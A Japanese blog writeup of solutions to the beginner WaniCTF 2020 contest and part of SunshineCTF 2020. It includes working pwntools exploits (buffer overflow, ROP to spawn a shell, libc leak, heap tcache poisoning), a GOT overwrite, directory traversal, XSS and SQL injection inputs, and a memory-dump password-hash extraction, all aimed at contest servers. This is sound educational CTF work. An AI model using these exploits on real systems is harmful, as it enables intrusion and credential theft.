WaniCTF 2020 Writeup

2020/11/21から行われた大阪大学のWani Hackaseが主催のWaniCTF2020に参加しました. 初心者向けということもありたくさん解けて楽しかったです. 特に予定もなかったのでゲームや散歩をしたりアイマス三昧を聞きながらのんびり解いてました. 最終的には1問以外解けて11位でした.

f:id:shirataki64225:20201124175043p:plain
たくさん称号をもらえた😀
f:id:shirataki64225:20201124180006p:plain
https://wanictf.org/2020.html

運営の方のWriteupはこちら.

Crypto

Veni, vidi (Beginner)

SYNT{fvzcyr_pynffvpny_pvcure}

ROT13.
flag: FLAG{simple_classical_cipher}

exclusive (Easy)

keyとフラグをXORしています.
フラグの先頭はFLAGなのでkeyを特定できます.
あとはkeyとエンコードされたフラグをXORしてあげればいいです.

encoded_flag=""
with open('./output.txt') as f:
    encoded_flag=f.read()

key="".join([chr(ord(s)^ord(t)) for s,t in zip(encoded_flag,"FLAG")])

key=key[0:3]*19

flag="".join([chr(ord(s)^ord(t)) for s,t in zip(key,encoded_flag)])
print(flag)

flag: FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}

Basic RSA (Normal)

RSA暗号.
Wikiを見ながら解きました.

p=3395691611470965703248776690605631448210299347525030739228383525429324385673465720215627828854181787361366362304515818652121445125278579357291889059651248
q=3110746220571338886416585682818815247453643126964736278072889659177722129615307761446287972409358505242287263598670729290153892071235119046274192564544254

print(p*q)
m=223603686361314586714175565871625848629
e=65537
n=85894259982529774534738977512733247714575520196254720913324021194094962152093953247879110941289388438916327114583817283655596379699397163641937867204006249561822624997027786327017002617537748647387480295462871562217712352315647462266777353450197526216711345361335921281252390277349962674385212195975103527777

print(pow(m,e,n))
p=6941228073710029272709931137126763438896483442698940990387243132086539886565332310623278297429296964091830499215076168232957587276633995785795367241187693
q=8314548613078997011281833094994872127908947348619085044230773215969081721637277929673458305974929666111150247442477357318728654270865385085868340198394011
e=65537
c=34155694723114745250570407342098680267767914080937033675260980008802140827057809636727955655591284380292073512092481470054846682913463633517157610001381562071683975564393928314130271495248909366020791191802272883456401224599207479144661271136616263900027260888317855839786370965495539570774984514060582796682
d=inverse(e,(p-1)*(q-1))

print(pow(c,d,p*q))

flag: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}

LCG crack (Hard)

想定解じゃないです.

    elif choice == 2:
                for cnt in range(1, 11):
                    print(f"[{cnt}/10] Guess the next number!")
                    try:
                        guess = int(input("> "))
                    except ValueError:
                        print("Please enter an integer\n\n\n")
                        continue
                    if guess == rng.next():
                        print(f"Correct! ")
                        cnt += 1
                    else:
                        print(f"Wrong... Try again!")
                        break
                else:
                    print(f"Congratz!  {flag}")
                    break

ValueErrorのときcontinueになっています.
文字を入力すると整数を入力するように促されるのですが, それを無視して10回文字を入力するとフラグが表示されます.
flag: FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

l0g0n (Very hard)

AES暗号のECBモードは危ないっていうのは聞いたことがある.
同じ値を入力したらフラグが表示された...
よくわかってないです.
flag: FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}

Forensics

logged_flag (Beginner)

key_log.txtに書いてあります.
flag: FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}

ALLIGATOR_01 (Easy)

volatilityを使います.
ここここを参考にさせていただきました.

$ volatility -f ./ALLIGATOR.raw imageinfo
$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 pslist

0x84dd6b28 evil.exe   3632   2964     1      21      2     0 2020-10-26 03:01:55 UTC+0000    

flag: FLAG{2020-10-26_03:01:55_UTC+0000}

ALLIGATOR_02 (Normal)

$ strings ./ALLIGATOR.raw | grep FLAG

または

$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 consoles

flag: FLAG{y0u_4re_c0n50les_master}

chunk_eater (Normal)

壊れたPNGファイルが与えられます.
ヒントにあるサイトを参考にさせていただきました.
バイナリエディタで開いて"WANI"という文字列を順番にIHDR,IDAT,IDAT,IDAT,IENDにすると開けるようになります.
flag: FLAG{chunk_is_so_yummy!}

ALLIGATOR_03 (Hard)

パスワード付きのzipファイルが与えられます. パスワードを特定すればよさそうです.
ここを参考にさせていただきました.
Linuxのvolatilityを使っていたのですがhashdumpが使えなかったのでWindowsの方を使いました.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat
0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat
0x8780a6b8 0x282fb6b8 [no name]
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM
0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE
0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD
0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE
0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat
0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT
0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat
0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat

\REGISTRY\MACHINE\SYSTEM\SystemRoot\System32\Config\SAMのアドレスを指定してhashdumpします.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hashdump -y 0x8781a008 -s 0x93791458
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

5e7a211fee4f7249f9db23e4a07d7590https://crackstation.net/ に投げました.
パスワードはilovewani.
flag: FLAG{The_Machikane_Crocodylidae}

zero_size_png (Very hard)

想定解じゃないです.
サイズが0x0のPNGファイルが与えられます.
バイナリエディタで開いて, ヒントにあるサイトを参考にサイズをいじります.
IHDRの直後の4バイトが画像の幅でその直後の4バイトが画像の高さになるようです.
頑張ってフラグが見えるサイズ(2997 x 1000)にしました.
想定解は正しい縦横比を総当たりで求めるみたいです.
flag: FLAG{Cyclic_Redundancy_CAT}

Misc

Find a Number (Beginner)

0~500000の範囲の乱数を当てます.
電卓を使いながら手動で二分探索しました.
flag: FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}

MQTT Challenge (Normal)

サブスクライブすると約1分ごとにそのトピックのメッセージが流れてきます. フラグを配信しているトピックを見つければよさそうです.
ここによるとマルチレベルワイルドカードというものがあるそうです. #を入力して待つとフラグが表示されます.
flag: FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}

PWN

netcat (Beginner)

nc netcat.wanictf.org 9001するとシェルが起動しています.
flag: FLAG{netcat-1s-sw1ss-4rmy-kn1fe}

var rewrite (Beginner)

ローカル変数を書き換える.
入力はrbp-0x16からで比較対象の変数はrbp-0xcからなので0xa(=0x16-0xc)文字後に"WANI"を置くとよさそうです.

$ nc var.wanictf.org 9002
What's your name?: AAAAAAAAAAWANI
hello AAAAAAAAAAWANI!
Congratulation!
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

flag: FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

binsh address (Easy)

binshのアドレスを入力すればいいです. 表示されるアドレスはvalのアドレスのようです.
binshのoffsetを調べます.

gdb-peda$ start
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
pwn03 : 0x555555756020 --> 0x68732f6e69622f ('/bin/sh')
 libc : 0x7ffff7f7c143 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ c
Continuing.
The address of "input  " is 0x555555756010.
Please input "/bin/sh" address as a hex number:

表示されるアドレスに0x10(=0x555555756020-0x555555756010)を足せばよさそうです.

$ nc var.wanictf.org 9003
The address of "input  " is 0x55ec32711010.
Please input "/bin/sh" address as a hex number: 0x55ec32711020
Your input address is 0x55ec32711020.
Congratulation!
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

flag: FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

got rewrite (Easy)

GOT Overwrite.
入力の後にあるprintfのGOTをwinのアドレスに書き換えればよさそうです.
printfのGOTのアドレスを調べます.

$ readelf -a ./pwn04

再配置セクション '.rela.plt' at offset 0x590 contains 9 entries:
  オフセット      情報           型             シンボル値    シンボル名 + 加数
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000601048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601050  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strtol@GLIBC_2.2.5 + 0
000000601058  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
$ nc var.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 0x000000601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

flag: FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

ret rewrite (Normal)

vuln内のreadBOFが起きます. リターンアドレスをwinのアドレスに書き換えればよさそうです.
入力はrbp-0xeからなのでoffsetは0x16(=0xe+0x8).
問題文にあるようにwinを実行してもスタックのアライメントの問題でsystemで落ちます. なので, winの最初のpush rbpをとばします.

$ (python -c "print('A'*22+'\x38\x08\x40\x00\x00\x00\x00\x00')";cat)| nc ret.wanictf.org 9005
What's your name?: Hello AAAAAAAAAA!

***start stack dump***
0x7ffd1ffd5fd0: 0x41414141414160d0 <- rsp
0x7ffd1ffd5fd8: 0x0000001f41414141
0x7ffd1ffd5fe0: 0x4141414141414141 <- rbp
0x7ffd1ffd5fe8: 0x0000000000400838 <- return address
0x7ffd1ffd5ff0: 0x0000000000400a00
0x7ffd1ffd5ff8: 0x00007f706b311bf7
0x7ffd1ffd6000: 0x0000000000000001
***end stack dump***

congratulation!
cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}

flag: FLAG{1earning-how-return-address-w0rks-on-st4ck}

rop func call (Normal)

ret_rewriteと同様にvuln内のreadBOFが起きます. 第1引数にbinshのアドレスを指定してsystemを呼び出します. ret_rewriteと同様にスタックのアライメントの問題で落ちるのでretをはさみます.
pop rdiretのアドレスはROPgadgetで調べました. ret(pop rdiのアドレス)+1で代用できるので調べなくてもいいです.

$ ROPgadget --binary ./pwn06
from pwn import *

# p=process('./pwn06')
p=remote('rop.wanictf.org',9006)
e=ELF('./pwn06')

pop_rdi=0x0000000000400a53
ret=0x000000000040065e

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(e.symbols['binsh'])
payload+=p64(e.plt['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{learning-rop-and-x64-system-call}

one gadget rce (Hard)

想定解じゃないです.
vuln内のreadBOFが起きます. やることは以下の通りです.

  • リターンアドレスを書き換えてputsを呼び出しputsのGOTをリークしてlibcのアドレスを求める.
  • vulnに戻る.
  • リターンアドレスを書き換えてsystem("/bin/sh")を実行.
from pwn import *

# p=process('./pwn07')
p=remote('rce.wanictf.org',9007)
e=ELF('./pwn07')
libc=ELF('libc-2.27.so')

pop_rdi=0x0000000000400a13
ret=0x0000000000400626

payload=b'A'*22
payload+=p64(pop_rdi)
payload+=p64(e.got['puts'])
payload+=p64(e.plt['puts'])
payload+=p64(e.symbols['vuln'])

p.recv()
p.sendline(payload)
p.recvuntil('***end stack dump***\n\n')

libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
print(hex(libc.address))

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(next(libc.search(b'/bin/sh')))
payload+=p64(libc.symbols['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

heap (Very hard)

解けなかった😭
ヒープオーバーフローからのtcache poisoningだろうと思ったけどtcacheがうまく繋がらなかった.
運営の方のWriteupを参考にさせていただきました.
サイズが0x20のchunkでlibcのアドレスをリークして, サイズが0x30のchunkで__free_hookを書き換えました.

from pwn import *

context.log_level='info'

def add(i,size):
    log.info('add '+str(i))
    p.recvuntil('command?: ')
    p.sendline('1')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('size?: ')
    p.sendline(str(size))

def edit(i,memo):
    log.info('edit '+str(i))
    p.recvuntil('command?: ')
    p.sendline('2')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('memo?: ')
    p.sendline(memo)

def view(i):
    log.info('view '+str(i))
    p.recvuntil('command?: ')
    p.sendline('3')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    return u64(p.recv(6).ljust(8,b'\x00'))

def del_memo(i):
    log.info('del '+str(i))
    p.recvuntil('command?: ')
    p.sendline('9')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))

# p=process('./pwn08')
p=remote('heap.wanictf.org',9008)
e=ELF('./pwn08')
libc=ELF('./libc-2.27.so')

payload=b'A'*16
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(e.got['printf'])

add(0,10)
add(1,10)
del_memo(1)
edit(0,payload)
add(2,10)
add(3,10)
libc.address=view(3)-libc.symbols['printf']
print(hex(libc.address))

payload=b'A'*32
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(libc.symbols['__free_hook'])

add(4,40)
add(5,40)
del_memo(5)
edit(4,payload)
add(6,40)
add(7,40)
edit(7,p64(libc.symbols['system']))

add(8,40)
edit(8,b'/bin/sh')
del_memo(8)
p.interactive()

flag: FLAG{I-am-a-heap-beginner}

Reversing

strings (Beginner)

$ strings ./strings | grep FLAG

flag: FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}

simple (Normal)

angrに投げた.

import angr 

project = angr.Project('./simple')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)

flag: FLAG{5imp1e_Revers1ng_4rray_5trings}

complex (Hard)

angrでも解けるみたいだけどできなかった. Ghidra, GDBで解析しました.
Ghidraのデコンパイルはちょっと分かりにくかったので自分なりにコードを書きました. 疑似コードやメモみたいなのはコメントアウトしています.

#include<stdio.h>

int check_0(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 0;
    }
    return 1;
}

int check_13(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 1;
    }
    return 2;
}

int check(int i,char *s){
    switch (i)
    {
        // return check_i(s);
    }
}

int main(){
    char* s;
    scanf("%s",s);
    // len(s)==42
    // s-="FLAG{}";
    int i=0;
    for(i=0;i<20;i++){
        int k=check(i,s);
        if(k==0) continue;
        if(k==1) break;
        if(k==2) printf("Correct!\n"); 
    }
    printf("Incorrect!\n");
}

まず, フラグは42文字でフラグから"FLAG{}"を取り除いた36文字とループ変数が20回checkに渡されます. checkの戻り値が2だと正解で1だと終了します. checkはループごとに別の関数を呼び出します. check_13だけ2を返す処理があります. ローカル変数が2つあり, 片方とXORをとったときもう片方と一致していれば2を返します. よって, check_13の2つのローカル変数をXORすればフラグが求まります. リトルエンディアンに注意.

x=['0x3131393431333637','0x3435313837393235','0x3635313836343636','0x3834303131353334','0x34323435','0x37']
y=['0x6e44564d6e575f53','0x576a48545b585747','0x535d45675d57535e','0x675a42444550416b','0x415e5543','0x52']

flag="FLAG{"
for i1,i2 in zip(x,y):
    s=reversed(bytes.fromhex(i1[2:]).decode())
    t=reversed(bytes.fromhex(i2[2:]).decode())
    for c1,c2 in zip(s,t):
        flag+=chr(ord(c1)^ord(c2))
flag+="}"
print(flag)

flag: FLAG{did_you_really_check_the_return_value}

static (Very hard)

$ strings ./static

するとUPXという文字が見えました. なので, アンパックします.

$ upx -d ./static

Ghidraで解析しました.
complexと同様にフラグの中身が取り出され, 何かとXORをとりそれがローカル変数と等しいと正解みたいです. この何かは関数によって求められていたのですが, 処理が複雑でよくわかりませんでした. この関数には引数がなかったので一定の値が返ってくるのではないかと思い, GDBでメモリを読みました.
strippedなバイナリの解析はあまりやったことがなかったので, こちらを参考にさせていただきました.

gdb-peda$ info file
gdb-peda$ b *0x400a80
gdb-peda$ r
gdb-peda$ x/400i $rip
gdb-peda$ b *0x400e95
gdb-peda$ x/50wx $rbp-0xd0
0x7fffffffe910: 0x63c1d9b9      0x383f1bd1      0x4107dda4      0x34841fea
0x7fffffffe920: 0x3ebdf50c      0x315655eb      0x4def053a      0x1bfdeb26
0x7fffffffe930: 0x24118fca      0x2722989c      0x7abcb583      0x09466305
0x7fffffffe940: 0x7799b061      0x172289c3      0x401a25fc      0x39ce6189
0x7fffffffe950: 0x56ec69c1      0x106f1fd2      0x77fc40b6      0x4828aec2
0x7fffffffe960: 0x2252ba83      0x45935da2      0x7565bdfe      0x5ae2409f
0x7fffffffe970: 0x20edd672      0x47362435      0x0b61fcb5      0x7c7607de
0x7fffffffe980: 0x6cf7730d      0x5222628a      0x5ee131a8      0x50b94cc6
0x7fffffffe990: 0x0a617e5b      0x1fe90f4c      0x053d6cb0      0x491f7368
0x7fffffffe9a0: 0x513f6537      0x532c71ea      0x651d5e8e      0x7550f502
0x7fffffffe9b0: 0x7a4f0a87      0x5fda1411      0x7e975807      0x71e8bae8
0x7fffffffe9c0: 0x76fc9dd4      0x3eb17e04      0x2bb71c71      0x4de90796
0x7fffffffe9d0: 0x00000000      0x00000000

やはり一定の値が返ってきてました! よって, このメモリの値とローカル変数の値をXORすればフラグが求まります.

x=[0x63c1d9b9,0x383f1bd1,0x4107dda4,0x34841fea,0x3ebdf50c,0x315655eb,0x4def053a,0x1bfdeb26,0x24118fca,0x2722989c,0x7abcb583,0x09466305,0x7799b061,0x172289c3,0x401a25fc,0x39ce6189,0x56ec69c1,0x106f1fd2,0x77fc40b6,0x4828aec2,0x2252ba83,0x45935da2,0x7565bdfe,0x5ae2409f,0x20edd672,0x47362435,0x0b61fcb5,0x7c7607de,0x6cf7730d,0x5222628a,0x5ee131a8,0x50b94cc6,0x0a617e5b,0x1fe90f4c,0x053d6cb0,0x491f7368,0x513f6537,0x532c71ea,0x651d5e8e,0x7550f502,0x7a4f0a87,0x5fda1411,0x7e975807,0x71e8bae8,0x76fc9dd4,0x3eb17e04,0x2bb71c71,0x4de90796]
y=[0x63c1d9cb,0x383f1bb2,0x4107dd90,0x34841fb5,0x3ebdf538,0x31565585,0x4def055e,0x1bfdeb79,0x24118ff9,0x272298e8,0x7abcb5e2,0x9466371,0x7799b008,0x172289a0,0x401a25a3,0x39ce61b8,0x56ec69a8,0x106f1fbc,0x77fc40dd,0x4828ae9d,0x2252bab7,0x45935dcc,0x7565bd9a,0x5ae240c0,0x20edd601,0x47362402,0xb61fcc7,0x7c7607b7,0x6cf7737d,0x522262fa,0x5ee1319b,0x50b94ca2,0xa617e04,0x1fe90f3c,0x53d6c81,0x491f731d,0x513f6544,0x532c71b5,0x651d5efb,0x7550f572,0x7a4f0aff,0x5fda144e,0x7e975877,0x71e8ba89,0x76fc9db7,0x3eb17e6f,0x2bb71c42,0x4de907f2]

flag="FLAG{"
flag+="".join([chr(i^j) for i,j in zip(x,y)])
flag+="}"
print(flag)

flag: FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}

Web

DevTools_1 (Beginner)

ソースコードを見るとフラグがコメントアウトされてました.
flag: FLAG{you_can_read_html_using_devtools}

DevTools_2 (Beginner)

0円のところを5000000000000000円に書き換えるとフラグが表示されました.
flag: FLAG{you_can_edit_html_using_devtools}

Simple Memo (Beginner)

ディレクトリトラバーサル.
flag.txtmemosディレクトリと同じ位置にあるみたいなので../flag.txtと入力すればよさそうですが../が削除されてしまいます.
....//flag.txtと入力すると../flag.txtとなりフラグが表示されます.
flag: FLAG{y0u_c4n_get_hi5_5ecret_fi1e}

strped table (Easy)

メモが作成できるサイト.
XSS.
ソースコードを見るとindexが奇数のときmemoがチェックされてないことがわかります. 2つ目のメモに<script>alert(19640503)</script>を入力するとフラグが表示されます.
flag: FLAG{simple_cross_site_scripting}

SQL Challenge 1 (Normal)

想定解じゃないです.
SQL Injection.
ソースコードを見ると', ,/,\,|が使えないことがわかります.

$query = "SELECT * FROM anime WHERE years =$year";

このSQL文のWHERE句をTrueにすればよいので, yearsを入力しました.

想定解は(1)or(1)=(1)みたいです. 空白を使わずにWHERE句をTrueにできます.
flag: FLAG{53cur3_5ql_a283b4dffe}

SQL Challenge 2 (Hard)

想定解じゃないです.
SQL Injection.
文字列と数字以外を入力すると前に\が挿入されます.
SQL Challenge 1と同様にyearsを入力するとフラグが表示されました.

想定解は0みたいです. yearsは文字列なのですが

MySQLでは比較演算を行う際、比較対象の一方が数値ならもう片方も数値として扱うという暗黙的な型変換が行われるようです。

なので数値を入力するとyearsは数値になります. また,

しかしyearsカラムに数字以外の文字列が入っていた場合、その文字列はすべて0という値に変換されます。

なので0を入力すると数字以外の文字列で記録されたデータが表示されます.
参考

flag: FLAG{5ql_ch4r_cf_ca87b27723}

SunshineCTF 2020 Writeup

11/7から行われたSunshineCTF 2020に参加しました. たくさん解けて楽しかったです.
f:id:shirataki64225:20201112143549p:plain

Web

Password Pandemonium (100 Pts)

登録フォームが表示される. 適当に登録しようとするとパスワードでいろいろなエラーが出る.

  • 短い
  • 長い
  • 特殊文字を3文字以上
  • 素数を含む
  • 絵文字を含む
  • 大文字と小文字の数が同じ
  • 回文
  • JavaScriptTrueが返される
  • MD5でハッシュしたとき先頭が数字

"😀Aa3aA😀"=="😀Aa3aA😀"と入力したらフラグが表示された.
flag: sun{Pal1ndr0m1c_EcMaScRiPt}

Reversing

Hotel Door Puzzle (100 Pts)

$ ./hotel_key_puzzle 
Hotel Orlando Door Puzzle v1
----------------------------
This puzzle, provided by Hotel Orlando, is in place to give the bellhops enough time to get your luggage to you.
We have really slow bellhops and so we had to put a serious _time sink_ in front of you.
Have fun with this puzzle while we get your luggage to you!

        -Hotel Orlando Bellhop and Stalling Service

Your guess, if you would be so kind: 
abcd
Sadly, that is the incorrect key. If you would like, you could also sit in our lobby and wait.

keyがフラグっぽい.
angrを使いました.

import angr 

project = angr.Project('./hotel_key_puzzle')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)
$ python3 solve.py

b'sun{b3llh0p\xd9-runn\xc9n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p\xc9-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p5-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'

angrの使い方はSECCON Beginners Liveで解説されてました.
http://o0i.es/c4blive.pdf
flag: sun{b3llh0p5-runn1n6-qu1ckly}

Crypto

Magically Delicious (100 Pts)

⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄
Tip: If you're digging into the unicode encoding of the emojis, you're on the wrong track!

ありがたいヒント.
3文字ごとに区切られてるから8進数かな.

>>> for c in "sun{}":
...  print(oct(ord(c)))
... 
0o163
0o165
0o156
0o173
0o175

⭐ → 1, 🌈 → 6, 🍀 → 3, 🦄 → 5, 🎈 → 7 と変換すればよさそう.
💜, 🐴, 🌑はいい感じの文字列になるように変換した.

encoded_flag="⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄"

l=encoded_flag.split(' ')

flag=""
for i in l:
    s=""
    for c in i:
        if c=='💜':
            s+='0'
        if c=='⭐':
            s+='1'
        if c=='🐴':
            s+='2'
        if c=='🍀':
            s+='3'
        if c=='🌑':
            s+='4'
        if c=='🦄':
            s+='5'
        if c=='🌈':
            s+='6'
        if c=='🎈':
            s+='7'
    flag+=chr(int(s,8))

print(flag)
$ python3 solve.py 
sun{lucky-octal-encoding-is-the-best-encoding-method}

flag: sun{lucky-octal-encoding-is-the-best-encoding-method}

Speedrun

pwnの基礎問題的なやつ. いい練習になりました.

00 (10 Pts)

gdbで逆アセンブル.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000006ca <+0>:     push   rbp
   0x00000000000006cb <+1>:     mov    rbp,rsp
   0x00000000000006ce <+4>:     sub    rsp,0x40
   0x00000000000006d2 <+8>:     lea    rdi,[rip+0xcb]        # 0x7a4
   0x00000000000006d9 <+15>:    call   0x580 <puts@plt>
   0x00000000000006de <+20>:    lea    rax,[rbp-0x40]
   0x00000000000006e2 <+24>:    mov    rdi,rax
   0x00000000000006e5 <+27>:    mov    eax,0x0
   0x00000000000006ea <+32>:    call   0x5a0 <gets@plt>
   0x00000000000006ef <+37>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000006f6 <+44>:    jne    0x704 <main+58>
   0x00000000000006f8 <+46>:    lea    rdi,[rip+0xba]        # 0x7b9
   0x00000000000006ff <+53>:    call   0x590 <system@plt>
   0x0000000000000704 <+58>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x000000000000070b <+65>:    jne    0x719 <main+79>
   0x000000000000070d <+67>:    lea    rdi,[rip+0xa5]        # 0x7b9
